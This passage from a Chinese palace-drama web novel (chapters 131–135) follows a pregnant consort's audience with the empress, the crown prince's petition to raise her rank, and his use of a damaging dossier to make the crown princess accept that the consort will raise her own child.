槛儿诊出喜脉到现在,裴皇后今儿还是头一回见她大着肚子的样子。
“是不是六个月了?”裴皇后问。
槛儿:“禀娘娘,是六个月。”
裴皇后点点头。
“太子个头大,孩子多半在胎里也是个大体格,日里你饮食上多注意着些,切记莫将胎儿养得过大。”
槛儿恭顺应下。
上辈子曜哥儿块头确实大,出生就有八斤一两,也是当时没人提点她。
她又怕孩子在肚里养不好,且那会儿郑氏没在伙食上克扣她,于是她饿了就吃。
想了就吃。
也幸亏身子骨结实,若不然得去半条命。
这辈子槛儿有经验又有周嬷嬷盯着,从显怀开始她就格外注重膳食的量。
裴皇后见她模样乖巧,眼里的笑不禁多了几分,但也没有再多问别的。
不过她不问,还在娘肚子里的曜哥儿可是有好多话想和皇祖母说呢。
曜哥儿这段时间最喜欢做的事就是,睡醒后支起耳朵听娘和别人说话。
也不是全部都能听清。
除了娘和父王的声音,其他人说话他多数时候只能听到一些只言片语。
估计是最近长大了一些,曜哥儿现在能听到的外面的声音多了不少。
譬如这会儿曜哥儿自然不记得皇祖母的声音了,可他从娘和对方的交谈中大致听出来娘在和谁说话了。
不能大动作,曜哥儿就在娘肚子里叽里咕噜地吐泡泡表示自己的好心情。
等娘把他生出来了,他一定会孝顺娘和祖母、父王,要告诉他们他好想他们。
正这么想着,曜哥儿忽地一个激灵,脑海里莫名其妙出现几幕陌生的画面。
是白胡子太医。
还有信皇伯家的晔堂兄和双胞胎堂姐!
“娘娘,莫院判到了,另信王世子爷与韶安郡主、韶宁郡主前来向您问安。”
门前的二等宫女在外禀道。
裴皇后看眼槛儿,吩咐碧荧:“带宋昭训去西稍间歇息,请莫院判进去把脉。”
说完扬声叫宫人将外面几人请进来。
厚实的门帘子被撩起一侧,皇长孙骆晔先进来,槛儿已经走到了内室门口。
骆晔只来得及看清一抹略微眼熟的背影,少年世子爷的脚下不自觉一顿。
骆峋的视线从槛儿身上收回,一侧目,就见他的大侄子在看他的宋昭训。
第131章 太子:“儿子想为其请封良娣之位。”
骆晔愣神不过片刻便不动声色地敛起心绪,也是这时候才发现他六皇叔也在。
且正看着他。
骆晔本来没觉得自己刚刚出于意外看了宋昭训一眼有什么不妥之处,哪知对上他六叔那双古井不波的眼。
骆晔的心没来由虚了虚。
旋即意识到自己在心虚,骆峋又觉得好笑。
他对宋昭训又没有非分之想,方才也只是出于本能反应看了看,他心虚什么啊?
骆晔忽视脸上的烫意,行到近前和两位妹妹一道向裴皇后行了跪拜礼。
“孙儿/孙女恭请皇祖母圣安。”
皇子受封的在京亲王,每月初一十五应进宫来向皇后嫡母请安,亲王妃亦如此。
然而实际考虑到成年亲王与后宫之间的大防,以及涉及到某些立场问题。
宫外开府的皇子们其实真正一年到头都不会来坤和宫,更不会涉足后宫。
请安什么的,都是由各自的王妃女儿,或者尚未成年的儿子代劳。
又因着各府的公子郡主们日常要念书,故而孙辈的请安都是每旬休一次,就和官员每十日一休沐的时间一样。
按说这会儿还没到孩子们来请安的时辰,但大抵是信王如今被软禁在府中。
孩子们想好好表现,也就来得早些了。
裴皇后笑眯眯受了礼,骆晔兄妹三人起身后又恭恭敬敬朝太子跪拜叩首。
骆峋的目光在骆晔身上停顿片刻,叫了起。
待他兄妹向太子妃问了安,裴皇后便都赐了座和手炉,询问他们府中近况与学业如何,又道天冷莫要伤寒之类。
都是些日常例行寒暄。
差不多过了一刻钟,莫院判从内室出来。
道宋昭训与其腹中皇嗣无碍,还道皇嗣身子尤为强健,适才活跃了数息。
裴皇后听了高兴。
骆晔捧着手炉,听得心不在焉。
从坤和宫出来经过条条宫道出了宫门,骆晔与两个妹妹同上了一辆马车。
其实他该单独坐一辆的,可谁叫信王挨了罚,信王府如今形势大不如从前。
他们出门在外自是不能再像以往那样张扬,当然,其中不乏也有做戏的成份在。
至于做戏给谁看。
那就是仁者见仁,智者见智了。
马车驶离宫道。
韶宁郡主终于忍不住道:“话说她怎么会在坤和宫?一个侍妾,难不成还能去到皇祖母跟前请安?”
骆晔听第一句时没反应过来她口中的这个“她”指的谁,后面才明白。
他皱了皱眉:“什么她啊她的,再是侍妾也是六皇叔的人,你放尊重些。”
韶宁郡主撇嘴,小声哼哼。
“要尊重也是尊重六皇叔,尊重一个侍妾她也配!”
韶宁郡主跟槛儿当然没有仇怨。
只她虽是张扬开朗的性子,某些方面却是深受信王和信王妃的影响。
譬如信王对外温文儒雅,颇具仁义之风,实则却是个古板迂腐的性子。
在信王府,父为子纲,夫为妻纲,子事父,妻事夫这一套圣人之论具有绝对单向性权威。
裴皇后还是王妃时尚且能随还是亲王的元隆帝出征,现今多数和朝政关系不甚大的事夫妻亦都是商量着来。
让元隆帝帮其搓背更是家常便饭。
而郑明芷在两度理亏的情况下,尚且还能在不满之时和太子争执理论一二。
但信王绝不允许信王妃有违抗他、使唤他之言行,单是意见相左都不行。
儿子女儿们每日向他问安必行跪拜大礼,妾室服侍他时则不得有任何类似引诱、撒娇、嗔怪、玩笑之举。
违者必罚。
而信王妃呢。
大抵是受家中影响,自小读多了《女儿经》、《女论语》、《列女传》这类书籍。
以夫为天、夫纲妻柔,以夫之志为志,夫死妻殉等思想在信王妃心中根深蒂固。
这自然不能说她便是错了。
古往今来伦理纲常对女子的束缚如此之深,长此以往处在这样的环境。
受影响也是合情合理。
只不过他二人的此类言行思想,对府中子女孙辈影响也是颇为深刻。
韶宁郡主看槛儿不顺眼的原因,便是应在此处。
在韶宁郡主看来,姑娘家的性子可温婉可端庄、可豪爽可活泼开朗。
但外形举止务必要保守得体,要正经。
什么妖妖娆娆,搔首弄姿,在韶宁眼里都是上不得台面的,是勾栏做派。
而像槛儿这种。
生得娇媚艳丽又胸挺臀翘的,韶宁郡主觉得简直就是勾栏做派里的极品。
韶宁想,那就是祸根孽源啊。
哪个好人家的姑娘那样,往那儿一站,怕是男人尽往她胸和屁股上看了。
就因着这样的想法,韶宁郡主在端午第一次见到槛儿时对其就没好印象。
也因此当时她会当着众王妃侧妃公主的面,说槛儿妖里妖气不是正经人。
最后被她娘罚抄了《女诫》。
这会儿韶宁郡主之所以又这般对槛儿嗤之以鼻,一则她本身看不惯,二则是她把被罚的错归咎到槛儿头上了。
“你且慎言吧,”信王长女,即韶宁郡主的双胞姐姐韶安郡主不赞同道。
“人家没招你惹你,半个字都没和你我说上一句,我们平日也与人家打不上交道,你作何说这些刁钻之言。”
“没得损了口德。”
韶宁郡主要驳她。
却是没来得及开口就被骆晔冷声警告道:“父王如今在禁足,母妃日日抄经礼佛。
你若管不住自己的嘴给信王府招祸,我就押你去宗人府,请人好好教你说话!”
韶宁郡
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主怕去宗人府。
但兄长如此训她,她委屈:“你这么凶作甚!我又何曾说过什么?不过就是……”
骆晔瞪她。
韶宁就捶打他。
“让你凶!我让你凶我!当真是山中无老虎猴子称大王!我发两句牢骚怎么了?
犯得着你又警告又瞪眼睛的?她是什么人,我是你什么人,不知道的还当你喜欢她呢!”
“骆琬你放肆!”
骆晔起初任她捶打,哪知她竟说出如此大逆不道之言,他立马一把将人推开。
幸好冬日的马车车壁加了两层,夹层之间填充了绒呢和棉花,车门与小窗皆挂着厚厚的棉缎帘子。
若不然如此一番打闹。
怕是早被赶车和路过的行人听了去。
韶宁郡主的头撞到车板上。
眼圈立即就红了,她还想闹,岂料抬头对上了她哥前所未有的冰冷眼神。
“滚下去。”
骆晔指向马车外,声音也冷得掉渣。
韶安郡主劝道:“哥你别恼,琬姐儿她就是一时气性上了头,口不择言……”
“你滚不滚?”
骆晔没理会韶安,盯着韶宁郡主。
韶宁被吓到了,却也气不过。
撩起帘子抓起斗篷就要往下跳。
“手炉搁下,斗篷不准拿。”
搁就搁,不拿就不拿!
韶宁郡主把东西一扔转身跳下车,一副她哥求她,她都不会再上车的架势。
韶安郡主把窗帘撩起一条缝,看看妹妹,再看向她哥,想求情说和。
但还没开口,就听她哥道:“你听她说的什么话,那是东宫的人,是太子皇叔的人。
她想死没人拦,但别连累王府,你要想跟她一道死你也下去,反正你俩双胞胎。”
韶安郡主:“……”
骆晔靠着车壁合上双目,平息怒意。
马车行过闹市口,四处叫卖声此起彼伏,男男女女互相交谈,孩童嬉笑打闹。
骆晔听着听着,心底的那股恼意没了。
但他的耳边却仿佛再度回荡起韶宁郡主的话——不知道的还当你喜欢她呢!
他怎么可能喜欢她?
.
坤和宫。
信王世子兄妹走了没多会儿,骆峋与郑明芷随裴皇后移步到膳厅用早膳。
槛儿不能与他们同桌。
她怀着身子骆峋自然也没让她在跟前伺候,便让人在偏殿给槛儿单独摆了膳。
让袁宝过去看着。
用完了膳,几句闲话聊罢。
骆峋对郑明芷道:“你们先回。”
说完吩咐海顺跟着回去。
郑明芷又暗嗤,恭敬地领着槛儿告退。
等人来报太子妃与宋昭训出了永祥门,骆峋屏退左右对裴皇后转移了话题。
“母后,待她生产后,儿子想为其请封良娣之位。”
第132章 震惊!太子对槛儿大夸特夸!
按大靖制。
亲王妃之下设四名侧妃位,太子妃之下设两名侧妃位,太子良娣即为东宫侧妃。
晋太子侧妃者,载入皇家玉牒。
与民间的侧室和贵妾不同,皇家侧妃属聘纳范畴,于皇族宗室制度中位同“副贰”。
良娣即也属太子家室。
可协理内务,可代正妃祭祀,侧妃所生子为庶子,序齿继承权仅次于嫡子。
除了太子妃,东宫妾室只有侧妃能入玉牒。
而太子为一国储君,家事即是国事。
其侧妃的册封务必奏请朝廷,降册命,也就是必须要经过皇帝下旨册封。
皇帝下旨前或会征询内阁、礼部及皇后、太后之见,但皇后、太后不能擅下懿旨。
皇帝准旨册封之后,礼部会主持册封仪式,授予太子侧妃冠服金册,上玉牒。
能为东宫妾室请封侧妃之位的,除了太子本人,太子妃与皇后也可为其请封。
而按制,妾室晋位侧妃起码要满足礼、政、育三个条件,也就是必须要是良籍出身。
即军户、民户、医户、儒户之女,要家世清白,祖上三代无犯事的记录。
当然,如果是其他非良户籍。
譬如乐籍,像是教坊司出身。
再譬如丐籍,乞丐也是有户籍的。
这样的户籍拿银子也能改,但相应的要承担暴露、欺君罔上的风险。
另在子嗣方面。
侍妾需至少育有一名康健男嗣,亲王子嗣需平安存活至周岁,太子子嗣需活至百日。
若诞下女嗣。
能否成功晋位侧妃则由该侍妾受宠程度,或对皇家贡献程度来决定,亦或者女嗣受宠其生母亦可获得晋升。
换言之不论生儿生女,皇家之中母凭子贵、子凭母贵,历来相辅相成缺一不可。
若子嗣中途夭折,则自然驳回请旨。
当然也有无子被封为侧妃的特例,譬如于太子有救命之恩且查证为实,譬如已证实太子妃无法生育等等。
不过这些都是几率极其低的,便不细述。
最后在朝政立场方面。
大靖皇室对太子及亲王的正妻侧妃之间的平衡,多奉行“贵平”、“平贵”原则。
即正妃为勋贵之女,侧妃必选文官或平民女。
反之正妃若为平民女,侧妃则多为官家女,如此可很大程度减少某些党争。
此外其他条件则与被请封侧妃的侍妾本人有关,总之要晋位侧妃并非易事。
就看怎么周旋。
说白了就是重点在于太子如何行事。
此时此刻听儿子说要为她请封良娣之位,这个“她”自是不作他想。
宋昭训嘛。
裴皇后对此倒并没表现出什么意外,像是早料到他会有此一说似的。
不过……
“从你纳她入后院到现在也才半年多,这个时候请封侧妃之位未免为时尚早,还是说你真就这么喜欢她?”
裴皇后往椅背上一靠,问道。
喜欢什么的……
骆峋不显地蹙了蹙眉,面不改色道:“不是喜欢,是她有功,当得侧妃之位。”
裴皇后:“身怀皇嗣之功?”
“这是其一。”
骆峋放在膝头的手摩挲了两下,道。
“其二,自儿子入朝,每日佐膳之食由宋氏精心搭配调备,日常忧心儿子身体,为儿子亲制养身防护之物。
可见其贤良淑德,事上恭谨。”
“其三,宋氏此前虽为宫婢,目不识丁。
却日常随其掌事姑姑启蒙识字,如今非但自身能读书写字,还日常教导腹中胎儿,为祈皇嗣安康日日诵经。
其秉心柔嘉,娠护有术,实属良善之辈。”
“其四,不瞒母后。
儿子如今每逢旬休多宿于宋氏之处,东宫上下俱认其为儿子之宠妾,虽事实稍有相左,但儿子确偏她居多。
然宋氏至今不曾恃宠生娇,始终恪守本分,待上敬畏有加,待下亲和,可谓循矩无愆。”「愆:qiān」
“其五,宋氏早年虽于宫中为奴实则乃良家女出身,其髫年即入侍,为婢期间服勤浣濯低鬟奉事,多年无过。
足见其性纯良,实堪嘉尚。”
好家伙。
裴皇后刚刚听儿子说要给小昭训请封侧妃都没惊讶,这会儿倒是惊到了。
倒不是说从前没听过太子一口气说这么多话。
毕竟他平时虽话少,但逢上需要他说话的正事,该说的还是要说不少的。
可像这样称赞一位姑娘,裴皇后还真是闻所未闻,见所未见,这当然也与太子和其他姑娘家相处太少有关。
并不是别的姑娘便不好。
但裴皇后还是忍不住诧异啊,这还是她那个不近女色,清心寡欲的儿子吗?
还是说宋昭训真这么好,当得如此夸赞?
“另外……”
等等,还没夸完呢?
骆峋话至中途,看到了母后脸上的惊诧之色和眼底唇角渐渐浮起的怪笑。
他一顿,心里突然有些发窘。
但他还是忽视了耳根处的热意,正色道:“母后可还记得端午射柳?”
裴皇后都快要笑出声了,冷不丁听他提起这事,她立马恢复了正经。
问:“怎么说?”
骆峋便将端午之前槛儿借话本故事表示对他的关
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切,实则意在提醒他小心。
让他免了一次被睿王下绊子的事,告知了裴皇后。
自然没说会让裴皇后起疑的东西,譬如姜宛宛之前说槛儿是重生之人的话。
这件事骆峋只字未提,只说了槛儿洞微知礼,智忠内佐,无意间帮了他。
“此为其六,若非宋氏及时体贴必少不了一桩麻烦,此一功不便让父皇知。
但儿子望母后知晓宋氏**安位,特此请母后于父皇面前替其美言一二以便儿子请旨,儿子在此谢过母后。”
说罢,骆峋起身。
来到裴皇后跟前躬身行了一记揖礼。
其实骆峋还有一事没说。
那便是十月初十那晚,以曹良媛为本谋、金承徽为主谋设计构陷槛儿的这件事。
骆峋在此之前原打算等槛儿生产后先给其一个良媛的位份,毕竟她现今是昭训,又入东宫后院不满一年。
位份不宜贸然越级太大。
正七品的昭训,到正四品的良媛。
连升三阶已是破格。
但发生了那件事之后,骆峋便另有打算了。
东宫人人都道她是宠妾。
然又人人似乎瞧她不上。
若不然怎会几个粗使杂役宫人,便敢把与人通奸这么大的罪名往她头上扣?
仅因为她为过奴,更因他偏宠她。
既如此,她的冤屈便是由他而起,也合该由他给她补偿,请封侧妃便是其一。
裴皇后看着早长成成年男子身形的儿子,看着他恭谨周到地向她行的一礼。
百感交集之余笑了笑。
“早跟你说在娘跟前不必讲究虚礼,你径自不听,如此便罢,今儿便受了你的礼,你所求之事为娘应下了。”
骆峋:“多谢母后。”
裴皇后示意儿子坐回位置。
“看你这意思便是要让宋昭训亲养孩子了,这样的话太子妃那边你有何打算?
不管怎么着这事都算作你与我对其出尔反尔,得事先把人安抚好才行,等孩子生出来再说怕是就不仁义了。”
儿子儿媳之间的具体矛盾裴皇后并不知情,骆峋也暂不打算同她说。
尤其眼下朝中勋贵和一些武将世家、文官家中适婚之龄女不少,都在想方设法往皇家塞人。
前阵子便有人提议东宫侧妃之位空悬已久,来年选秀东宫有望再添新人云云。
这时候不宜闹出太子太子妃失和之事,若不然某些人只会见缝插针,郑氏的作用也仅在于此。
敛起心思,骆峋颔了颔首。
“是,所以儿子打算稍后回去便与她说此事。”
裴皇后:“你要怎么说?”
第133章 摊牌,“宋氏日后诞下孩子由她亲养。”
“皇祖明训中太祖帝有言,生母育幼子当亲抚以全天性,以重人伦之本。”
骆峋看着母后,认真道。
“本朝皇室制度有载,皇子生,母在嫔位者许自育,位卑者,子付嫔以上抚之。
太子妾室下帝妃嫔一等,母在昭训位者许自育,位卑者,付昭训以上抚之。
儿子与郑氏商定之时宋氏为无品级侍寝宫婢,按制确无资格抚养亲子,由郑氏这个太子妃抚养合制合礼。
如今宋氏为昭训,抚养亲子亦合制合礼,若强行将其离散于礼不合亦有违祖制。”
裴皇后一听就知儿子早想好了理由,且这小子竟连太祖爷的空子都敢钻?
简直放肆!
不愧是她儿子。
“是该如此……”
裴皇后沉吟。
“不过若只这么很她说,她恐会不服,她不敢违背祖制但兴许会怨上你与宋氏,是时闹出什么事就不好了。
再者顺国公府虽今非昔比,但到底是太祖爷给的爵位,纵使没什么实权。
单凭其开国元勋的爵位也足以使其成为京中一众勋贵之代表,这一点你别忘了。”
处在他们这个位置,很多时候并不是对了就要奖,错了就要罚这么简单。
储君之位人人想要,储妃之位亦然。
再待日后太子登上那个位置,又会不知有多少人觊觎一国之母的位置。
这些都是要权衡利弊的。
顺国公府就恰恰应了那句。
——瘦死的骆驼比马大。
元隆帝当初给太子和郑家女赐婚。
做的便是压制东宫势力,同时又防止其他派系觊觎储妃之位的两手准备。
而有顺国公府挡着,对于无意靠联姻来拉拢势力的太子来说也能省不少事。
裴皇后道:“所以郑氏得安抚。”
骆峋点头。
“郑氏急于**无非是想坐稳现在的位置,儿子会许诺她,不会让包括宋氏在内的任何人分走她的权。
若她不犯错,太子妃的位置会一直是她的。”当然不可能。
郑氏失德在先,身负死罪。
他容她在这个位置上待着不过权宜之计,如何会将权真放于她。
做戏罢了。
这种利益交换其实历来屡见不鲜,毕竟侧妃有协理正妃管理内务的权力。
能代正妃行很多事。
因此自古正妃和侧妃、或是宠妾之间水火不容的先例,实则就是权力之争。
“若她犯了错呢?”
裴皇后挑了一下眉,问。
骆峋:“视情况而定。”
郑氏占着位置利大于弊,更甚者更远的将来郑家若还有用,让其占着那个位置也并无不可。
大局当前不拘于小节。
从前骆峋就不介意娶谁为妻,如今他更不介意妻子与自己感情如何,或许这么想很无情。
但事实就是如此,他便是这样一个人。
凡事以大局为重。
男女情爱在他看来如镜中花水中月,和谁白头偕老这种事于骆峋而言……
“你即知道该怎么做,我便不多插手。”
裴皇后笑了笑,长吁一口气。
“只到底你我食言在先,她有情绪也正常,你别同她争,好生与她讲道理。
你们是夫妻,莫要为了旁人闹出失和的笑话。”
骆峋垂眸,“儿子明白。”
裴皇后见他俨然一副排斥谈及此事的模样,忽然就觉得脑袋一阵疼。
“你不想与我说你二人的矛盾,我也不多问,但你们既成了婚便是夫妻一体。
姑娘家成了婚娘家回不得,婆家终究隔着一层,丈夫再不管那该有多苦。
宋昭训自也是可怜见的,可妻是妻,妾是妾,不可混同待之,我知你清楚这些。
只给你提个醒,若不是什么大矛盾差不多就行了,我不是非要你们生个孩子出来,只不想你们日子过得拧巴。”
骆峋抬目:“母后如何知晓?”
裴皇后哼了哼。
“我是你娘,还能不了解你?说句难听的,你屁股一翘我就知道你要放什么屁。”
确实挺难听的。
骆峋:“……”
骆峋强迫自己不去纠正母后的措辞,沉默片刻道:“父皇许是也看出来了。”
裴皇后皮笑肉不笑。
“他不说你就当他不知,我没跟他算旧账,他也没脸再跑来掺和你们的事。”
骆峋:“母后慎言。”
“行了行了。”
裴皇后浑不在意地摆摆手。
“知道你带宋昭训来是为让她在我跟前露露脸,顺便让我看看孙子长得如何。
不过之后就不必如此了,总之我应了你的事。
眼下这么冷的天她挺着肚子来回折腾不说,也危险,接下来就安心养胎吧。”
从坤和宫出来。
骆峋看着长长的红墙宫道,看着高耸的飞檐翘角,静默良久呼出一团白雾。
既决定要同郑氏说此事,他便不耽搁,回东宫之后就叫人去嘉荣堂传了话。
得知太子要来用午膳,嘉荣堂的小太监乐呵呵地让人把消息层层往正房递。
于是不消半刻钟。
整个嘉荣堂的人都知道了太子晌午要过来,一时间传话的声音都比平时大了。
郑明芷歪在暖阁的炕上看账册,打发了来报消息的小宫女,她连嗤两声。
端的是瞧她不起,一副他最清高的做派,到头来还不是要往她这边跑?
有本事别来啊。
郑明芷撇着嘴,暗暗嘲讽。
不过心里还是满意的。
不论如何她是太子妃,那男人能来对外她也显得体面,他也该给她体面。
就是……
郑明芷想到了槛儿的肚子。
倒没打什么歪主意。
而是她想起自己自打被太子撞破那桩事,就没再叫人帮她在那事上纾解了。
郑明芷知晓男女情事。
自然清楚男子要如何让女子有孕。
曹良媛和秦昭训没怀上就不说,金承徽**不必说,就说宋槛儿那小蹄子。
也不知在榻上怎么浪才能勾得太子让她揣上崽儿,话说那男人真的行吗?
郑明芷仍持怀疑态度,还是觉得没道理别人都没怀上就那小蹄子怀上了。
莫不是两人合谋了什么吧?
譬如宋槛儿怀的并非皇孙,而是哪个侍卫的孽种,事情是太子策划的!
念头至此,郑明芷被自己的猜测吓了一跳,险些手上使劲把账
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册给撕了。
但转念想似乎也不是不可能。
自古以来大位之争的手段层出不穷。
史上又不是没有过皇子不能人道,不惜拿野种冒充龙孙来争夺储位的。
试想太子若真不行,寻个侍卫什么的搞大宋槛儿的肚子完全就有可能嘛。
这么一来,貌似也就解释得通太子为什么会这么宠一个奴才出身的贱妾了。
奴才不正是最好拿捏?
郑明芷猛地捂嘴,双目圆瞪,一副太子的计谋被她识破的惊骇模样。
“主子,怎么了?”庞嬷嬷端着茶过来,捡起掉到地上的账本不解地问。
“奶娘,你说……”
郑明芷扭头就想屏退宫人把猜测跟庞嬷嬷说,好悬话到嘴边叫她给咽了下去。
伪造皇室血脉可是十恶不赦。
是谋逆!
不管她的猜测是真是假,这种话都不能挂在嘴边,还是在宫里这种地方!
就算确有其事。
事关东宫存亡,事关她太子妃的位置能不能坐稳,她也要当没这回事!
思及此,郑明芷对此闭口不提,随便寻了个借口把庞嬷嬷搪塞过去了。
只不过人一旦对某件事有了怀疑,心里就难免不受控地记挂着这事儿。
这也就导致中午太子过来用膳,郑明芷的目光就忍不住频频往他身上投。
看什么呢?
看他持着银著的手。
太子习武,所以手和寻常高门大户里养尊处优的公子哥儿的手完全不同。
修长劲瘦,手背肌骨明显,筋络微微凸起,每根手指似雕刻而成透着一股凌厉。
单看手不像不行。
郑明芷心中纳罕,视线上移又去看太子的胳膊、胸肩,再是颈子跟喉结。
正撞见对方在咽东西,喉结上下攒动。
郑明芷夹菜的手一僵,一股她熟悉的潮动几乎顷刻间从尾椎处蔓了上来。
意识到自己的身子对男人动了欲,郑明芷只觉喉咙里像吞了一只苍蝇。
不过她自觉这种欲念跟她本人无关,是身体本能,所以她并没有太在意。
压抑着这股念头,继续看对面的男人,可就在她的目光落到那人唇上时。
对方忽然放下了银著。
一向用膳鸦雀无声的人这回却是筷子和著枕碰撞,发出清脆的声响。
郑明芷抬眼看向对方的脸,不期然对上那双像是比平时更冷漠至极的眸子。
她不禁愣了愣。
“殿下?”
郑氏的视线在他手上停留时骆峋便注意到了,原以为对方只是无意间出神。
哪知她的目光一路在他身上巡睃。
她自以为做得隐秘。
殊不知骆峋感受得一清二楚,也费了很大的劲才克制住拂袖离席的冲动。
岂料其愈发放肆,脸上还透着不正常的红,一如早先被他撞破时的神情。
骆峋放下筷子,“腾”地起身。
“孤有话与你说。”
郑明芷不解地跟去堂间。
海顺把屋里的宫人都打发下去了,郑明芷看这架势莫名有种不好的预感。
果不其然。
不待她落座,男人就冷冷淡淡地开了口:“宋氏日后诞下孩子由她亲养。”
第134章 太子vs郑明芷,“收起来烧了!全烧了!”
话题过于突然,郑明芷先是一怔,旋即一股怒火蹭蹭直冲她天灵盖儿。
她猛地站直身。
“殿下这是何意?这件事当初您与妾身可是商量好的,您如何能出尔反尔?”
骆峋迎上她质问的目光。
“不尽然。”
郑明芷险些气笑。
食言就是食言,扯什么尽然不尽然的,亏他堂堂储君这种事也有脸做!
骆峋不在意她怎么想。
“庶子女以嫡母为尊,纵使由宋氏亲养名义上也要尊你为母,受你管教约束。
且太祖有言生母育幼子当亲抚,如今宋氏并非无品级侍妾按制按礼都有权养亲子,孤不会违背祖制礼法。”
郑明芷再次怔了怔,也是经他一说她才想起,皇明祖训中确实有这么一条!
宗室制度里也的确说了,太子侍妾昭训及以上位份者有资格自己养孩子!
顿时,郑明芷又恼又恨。
自己竟是忘了这么重要的两条,若早记起她说什么也不会叫那贱婢晋位!
但……
“礼制是这样没错。”
郑明芷强忍着火气道。
“可您与妾身有言在先,如今您一句让宋昭训养孩子又置妾身于何地?”
海顺在心里翻了个白眼。
还置她于何地呢。
当初她李代桃僵,妄图叫婢女与他们家爷行周公之礼,之后又出了那档子事。
她怎么不想想置太子于何地?
要不是当时要顾及陛下和朝中局势,且郑家如今有用,她早不知死几回了。
也不知道此人哪来的脸还想在太子跟前摆正妻的谱,都没羞耻心的吗?
不过郑氏是陛下赐的婚,当初她找宋昭训代其生子陛下也是首肯了的。
如今太子另有决断,自然要先把戏做足。
要让自己在这件事上完全站得住脚,更不能累及宋昭训因此事被人攻讦。
接收到爷的眼神。
海顺收起心思躬身出去了一趟,再回来时身后跟了太子的起居注官。
郑明芷正是疑惑,忽听太子道:“宋氏之子女由其亲养,往后不论她何位份。
太子妃若无过,包括宋氏在内的东宫女眷皆不得与太子妃争协理东宫之权。”
不得不说,这一句近似利益交换的许诺当真精准拿捏了郑明芷心中所想。
她为何想要一个孩子?
还不是为了巩固自己的位置?
为了能把这个太子妃一直当下去,直至日后太子登基她受封一国之母!
郑明芷显然忘了她犯过的错,觉得太子当时没废她,她就完全没事了。
她不想宋槛儿得宠。
不想宋槛儿今后有继续生一窝小崽子的机会,不也全是为了杜绝往后宋槛儿跟她争掌家之权的任何可能吗?
如今太子直接将机会摆到她面前。
只要她不再犯错,他便不会废了她,不会让任何一个东宫女眷抢她手里的权!
只需放弃一个贱种她就能得到这样的实惠,对郑明芷来说这个诱惑太大了
她险些脱口而出就要应下。
可很快她就想到,太子开这么好的一个条件为的是能让宋槛儿亲自养孩子。
是为了宋槛儿!
一瞬间,郑明芷的怒意不减反增。
合则在他眼里,她费尽心思求的东西竟比不过那贱妾养孩子这么一件事!
怒火冲昏了郑明芷的理智。
她自认占理地挺直腰杆。
“如果我说,我不同意呢?”
起居注官的手顿了顿,看向太子。
骆峋微微示意。
海顺领着对方离开,这次回来手里多了件东西,是个用来封存文书的函匣。
海顺将函匣放到太子手边的茶几上,打开,从中取出一沓文书呈给郑明芷。
郑明芷狐疑接过。
正想这是什么东西,却在看清内容时身子陡然一僵,眨眼间脸色煞白。
这哪里是什么文书。
这上头所写……
竟是她早年花癫之症兴致突起,一时贪欢让大哥的书童破了身,她娘为替她遮掩叫人秘密处置了那书童的事!
怎么可能……
怎么可能?!
当时是霜星、霜雪望的风。
知道这件事的除了她和那**书童,明明就只有霜星霜雪、奶娘和她娘。
霜星、霜雪前年就**。
奶娘不会害她,她娘更不会!
可为什么太子会知道这件事,他是从哪儿听到的风声,又是怎么查到的?!
为什么会有人证画押?
为什么会有物证!
这事难道不该被她娘带进棺材里吗!
郑明芷的脑海一片空白,翻看纸张的动作抖得厉害,整个身子摇摇欲坠。
下一刻。
她手腕一翻,扯起纸猛地一撕!
再撕!
海顺无声地扯扯嘴角。
郑明芷把堪称供状的东西撕了粉碎,色厉内荏地对太子强撑起一抹笑。
想说看吧,证据没有了。
可当她看清男人眼底的古井不波,看到无动于衷的海顺,郑明芷终于意识
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到。
这人留有后手!
她的后背瞬时升起一股寒意。
骆峋起身,神情漠然地睨着她。
“孤先前说过不想废你,看你这样许是将不能与不想混为一谈了,可谓病得不轻。
孤能有你的把柄也能有别人的,你尽可继续挑战孤的耐心,看孤何时废了你。”
“另外……”
他往外行了几步,在距离郑明芷一丈外的位置停下,回头再度看向她。
“孤许你好处不是补偿你,不是在与你交换,是在全仁德之礼君子之风。”
“换言之孤是要在这件事上占理,你自以为是之前,想想东宫谁做主。”
太子走了。
海顺收起空函匣紧跟其后。
至于被撕碎一地的纸,谁撕的谁负责收拾。
郑明芷静静立在屋中间。
也不知如是过去多久,她的呼吸陡然急促眼眶一片通红,厉声近乎尖叫。
“奶娘,奶娘——”
庞嬷嬷吓了一跳,忙不迭跑进来。
守在院子里的宫人赶紧缩起脖子做鹌鹑状,谁都没敢往屋子里伸脑袋。
“这、这是……”
庞嬷嬷看着一地的碎纸,一头雾水。
“收起来烧了!全烧了!”
郑明芷极力想稳住心绪,奈何愤恨羞恼将她淹没,致使她的声音尖锐撕裂。
看这架势,庞嬷嬷还有什么不明白的呢。
主子这是又跟太子闹上了。
庞嬷嬷也没敢看那些碎纸上写的是什么,赶忙就亲自收拾了起来。
郑明芷跑回内室。
里面很快传来一阵噼里啪啦的声音。
庞嬷嬷烧完东西进屋,满地狼藉,她不禁问:“究竟是怎么了?出什么事了?”
郑明芷骇得直抖,也气得浑身直抖。
“他知道,他什么都知道!就为了让那贱婢养孩子,他拿那事来威胁我!”
.
“太子妃居所陈设的器物有多少损坏,从太子妃的年俸里扣,出于何种情绪砸的,损坏的原因就写什么。”
路上,骆峋吩咐道。
海顺恭声应下,随即转了个弯又听自家爷道:“西六院哪个院子最好?”
“回主子,西六院就属永煦院最佳,清晨请安不必多走一段路,朝向也极好。
院里的花草树木跟那池子都有讲究,且各个屋里的陈设都新换的没满一年。”
骆峋微微沉吟。
“那便永煦院,叫人把正房与西厢收拾出来,该添的添该换的换,再择个吉日。”
第135章 “妾问什么殿下都说吗?”
下午槛儿歇晌起来,就见小福子领着近二十来个宫人浩浩荡荡地进了院。
“这是要做什么?”
槛儿免了他们的礼,问道。
领头的是个年长的太监。
“回宋昭训,奴才们来收拾正房和西厢,收拾出来要做什么却是不知,要扰您一会子的清净,还请您见谅。”
他们是真不知道收拾屋子出来做什么,这种事上边也不会跟他们说那么清楚。
就算心里有猜测,但事情还没定下来。
谁敢张口就胡咧咧呢。
槛儿便叫他们自忙去了。
等进了屋。
跳珠低声兴奋道:“莫不是收拾了出来要给咱们主子住的?主子要……”
她比了个往上指的手势。
喜雨端来一杯桑寄生茶。
是一种利于补肝肾,强筋骨的养血安胎茶。
槛儿最近腰酸腿酸的时候比之前多了,莫院判就给开了这么一个茶。
喜雨把茶递到槛儿跟前,接跳珠的话:“有可能,咱们主子现在多辛苦啊。”
刚说完,她和跳珠的后脑勺各自挨了一下。
瑛姑姑瞪她们。
